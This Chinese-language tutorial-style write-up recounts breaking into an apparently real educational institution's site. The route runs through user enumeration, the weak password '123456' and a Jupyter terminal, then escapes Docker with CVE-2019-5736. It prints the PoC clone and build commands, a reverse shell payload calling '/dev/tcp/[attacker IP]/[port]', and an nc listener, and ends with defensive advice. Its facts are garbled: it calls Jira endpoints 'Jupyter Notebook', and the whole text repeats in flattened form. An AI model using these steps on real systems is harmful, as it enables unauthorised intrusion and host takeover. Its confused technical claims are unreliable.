偶然的一次漏洞挖掘从弱口令到Docker逃逸漏洞
字数 1564 2025-08-15 21:33:04

Docker逃逸漏洞实战教学:从弱口令到容器逃逸

1. 漏洞发现背景

本案例展示了如何通过弱口令漏洞进入系统,进而利用Docker容器环境配置不当实现容器逃逸的全过程。攻击者最初通过批量扫描发现了一个教育机构网站,经过一系列测试最终实现了从容器内部逃逸到宿主机系统。

2. 信息收集阶段

2.1 目标识别

  • 目标类型:教育机构网站(.edu域名)
  • Web架构:
    • 操作系统:Ubuntu
    • Web服务器:Nginx 1.18.0 + Java
  • 开放端口:80、443

2.2 目录扫描发现

通过目录扫描工具发现以下关键路径:

  • /jira - Jupyter Notebook组件登录点
  • /gitlab - GitLab登录点
  • /owncloud - OwnCloud登录点
  • /confluence - Confluence登录点

3. Jupyter Notebook漏洞利用

3.1 信息泄露漏洞

Jupyter Notebook存在两处信息泄露漏洞:

  1. /jira/secure/ViewUserHover.jspa?username=admin
  2. /jira/rest/api/latest/groupuserpicker?query=admin&maxResults=50&showAvatar=true

利用方法

  • 通过这些接口可以枚举有效用户名
  • 案例中成功枚举出"Kevin"用户

3.2 弱口令突破

  • 尝试常见弱口令"123456"成功登录
  • 登录后可以访问New->Terminal功能打开系统终端

4. Docker环境识别

4.1 容器环境确认

在终端中执行以下检查:

ls /.dockerenv  # 检查是否存在.dockerenv文件
cat /proc/1/cgroup  # 检查cgroup信息

4.2 确认结果

  • 存在.dockerenv文件
  • cgroup信息显示确实运行在Docker容器中

5. Docker逃逸漏洞利用

5.1 漏洞选择

使用CVE-2019-5736漏洞进行逃逸,该漏洞允许容器内用户获取宿主机root权限。

5.2 漏洞利用准备

  1. 获取PoC代码:

    git clone https://github.com/Frichetten/CVE-2019-5736-PoC
    
  2. 修改main.go文件,将payload改为反弹shell命令:

    // 修改payload部分为反弹shell命令
    command := "/bin/bash -c 'bash -i >& /dev/tcp/[攻击者IP]/[端口] 0>&1'"
    
  3. 交叉编译PoC:

    CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
    

5.3 漏洞利用步骤

  1. 将编译好的exp上传到目标容器
  2. 在攻击者机器上监听端口:
    nc -lvnp [端口]
    
  3. 在容器内运行exp
  4. 重新进入终端界面触发漏洞
  5. 成功获取宿主机shell

6. 技术要点总结

  1. 弱口令利用:永远不要低估弱口令的风险,即使是简单的"123456"也可能成为突破口
  2. 容器识别.dockerenv文件和/proc/1/cgroup是识别Docker环境的关键
  3. CVE-2019-5736:该漏洞利用runC容器运行时缺陷,允许容器内用户覆盖宿主机上的runC二进制文件
  4. 交叉编译:在非Linux环境下编译Linux可执行文件需要注意设置GOOS和GOARCH参数

7. 防御建议

  1. 密码策略

    • 强制使用复杂密码
    • 定期更换密码
    • 禁用常见弱口令
  2. 容器安全

    • 及时更新容器运行时(runC)
    • 使用非root用户运行容器
    • 限制容器能力(使用--cap-drop参数)
    • 启用容器只读文件系统(--read-only)
  3. Jupyter Notebook安全

    • 禁用未授权访问
    • 启用认证机制
    • 限制可执行命令范围
  4. 监控与日志

    • 监控容器异常行为
    • 记录所有特权操作
    • 设置异常登录告警

8. 参考资源

  1. CVE-2019-5736漏洞详情:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-5736
  2. 官方PoC代码:https://github.com/Frichetten/CVE-2019-5736-PoC
  3. Docker安全最佳实践:https://docs.docker.com/engine/security/
Docker逃逸漏洞实战教学:从弱口令到容器逃逸 1. 漏洞发现背景 本案例展示了如何通过弱口令漏洞进入系统,进而利用Docker容器环境配置不当实现容器逃逸的全过程。攻击者最初通过批量扫描发现了一个教育机构网站,经过一系列测试最终实现了从容器内部逃逸到宿主机系统。 2. 信息收集阶段 2.1 目标识别 目标类型:教育机构网站(.edu域名) Web架构: 操作系统:Ubuntu Web服务器:Nginx 1.18.0 + Java 开放端口:80、443 2.2 目录扫描发现 通过目录扫描工具发现以下关键路径: /jira - Jupyter Notebook组件登录点 /gitlab - GitLab登录点 /owncloud - OwnCloud登录点 /confluence - Confluence登录点 3. Jupyter Notebook漏洞利用 3.1 信息泄露漏洞 Jupyter Notebook存在两处信息泄露漏洞: /jira/secure/ViewUserHover.jspa?username=admin /jira/rest/api/latest/groupuserpicker?query=admin&maxResults=50&showAvatar=true 利用方法 : 通过这些接口可以枚举有效用户名 案例中成功枚举出"Kevin"用户 3.2 弱口令突破 尝试常见弱口令"123456"成功登录 登录后可以访问 New->Terminal 功能打开系统终端 4. Docker环境识别 4.1 容器环境确认 在终端中执行以下检查: 4.2 确认结果 存在 .dockerenv 文件 cgroup信息显示确实运行在Docker容器中 5. Docker逃逸漏洞利用 5.1 漏洞选择 使用CVE-2019-5736漏洞进行逃逸,该漏洞允许容器内用户获取宿主机root权限。 5.2 漏洞利用准备 获取PoC代码: 修改main.go文件,将payload改为反弹shell命令: 交叉编译PoC: 5.3 漏洞利用步骤 将编译好的exp上传到目标容器 在攻击者机器上监听端口: 在容器内运行exp 重新进入终端界面触发漏洞 成功获取宿主机shell 6. 技术要点总结 弱口令利用 :永远不要低估弱口令的风险,即使是简单的"123456"也可能成为突破口 容器识别 : .dockerenv 文件和 /proc/1/cgroup 是识别Docker环境的关键 CVE-2019-5736 :该漏洞利用runC容器运行时缺陷,允许容器内用户覆盖宿主机上的runC二进制文件 交叉编译 :在非Linux环境下编译Linux可执行文件需要注意设置GOOS和GOARCH参数 7. 防御建议 密码策略 : 强制使用复杂密码 定期更换密码 禁用常见弱口令 容器安全 : 及时更新容器运行时(runC) 使用非root用户运行容器 限制容器能力(使用--cap-drop参数) 启用容器只读文件系统(--read-only) Jupyter Notebook安全 : 禁用未授权访问 启用认证机制 限制可执行命令范围 监控与日志 : 监控容器异常行为 记录所有特权操作 设置异常登录告警 8. 参考资源 CVE-2019-5736漏洞详情:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-5736 官方PoC代码:https://github.com/Frichetten/CVE-2019-5736-PoC Docker安全最佳实践:https://docs.docker.com/engine/security/